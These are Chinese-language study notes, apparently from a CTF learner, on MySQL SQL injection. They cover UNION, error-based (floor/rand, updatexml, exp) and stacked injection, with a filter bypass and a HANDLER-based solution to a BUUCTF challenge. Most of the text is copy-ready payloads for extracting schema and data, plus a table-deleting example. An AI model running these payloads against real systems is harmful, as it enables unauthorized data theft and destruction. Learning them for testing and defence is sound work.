order by判断列数
no=1 order by n
这里no为注入点,1为一确定正确的数据,n为一数字
当n<=列数时,页面正确显示
当n>列数时,页面提示错误
union select 发现回显字段(联合查询)
no=-1 union select 1,2,3,4...
no为注入点,-1为一错误数据,union select后的数字个数根据判断出的列数而定
届时,屏幕上显示了哪个数字,即代表那一列将会显示,可用接下来的payload进行替换
特别的:
有些时候,页面会过滤union select,此时可以用/**/代替空格,即
union/**/select
进行绕过(普通url的空格替换没有用)
sql报错注入流程:
爆数据库名:
1' and (select count(*) from information_schema.tables group by concat(0x7e,database(),0x7e,floor(rand(0)*2)))--+
表名:
1' and (select count(*) from information_schema.tables group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2)))--+
猜测合理的表名-----》
字段:
1' and (select count(*) from information_schema.tables group by concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=表名(16位)),0x7e,floor(rand(0)*2)))--+
猜测合理的字段-----》
查看字段内容;
1' and (select count(*) from information_schema.tables group by concat(0x7e,(select 字段名 from 表名 limit 0,1),0x7e,floor(rand(0)*2)))--+
堆叠注入
概念:
Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。
原理:
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
例题:Buuctf-web-[GYCTF2020]Blacklist
1;show columns from `FlagHere`;%23
这题黑名单把select禁了,所以得用HANDLER查看:
后面步骤接HANDLER知识点
报错注入
1.updatexml
原理是利用函数的报错
payload举例:
?id=1' updatexml(1,concat(0x7e,(select version()),0x7e),1);
2.floor
floor报错注入利用的是rand和order by或group by的冲突
具体操作可以如下:
爆用户:
?id=1’ and (select 1 from (select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
爆数据库:
?id=1’ and (select 1 from (select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
爆指定表的字段:
?id=1’ and (select 1 from (select count(*),concat((select (select (select distinct concat(0x7e,column_name,0x7e) from information_schema.columns where table_name=目标表的名字 limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
3.exp
?id=1' and exp(~(select * from (select user())x))%23
HANDLER
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
通过HANDLER tbl_name READ FIRST获取句柄的第一行
通过HANDLER tbl_name READ NEXT依次获取下一行。最后一行执行之后再执行NEXT会返回一个空的结果。
通过HANDLER tbl_name CLOSE来关闭打开的句柄。
承接堆叠注入例题:
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#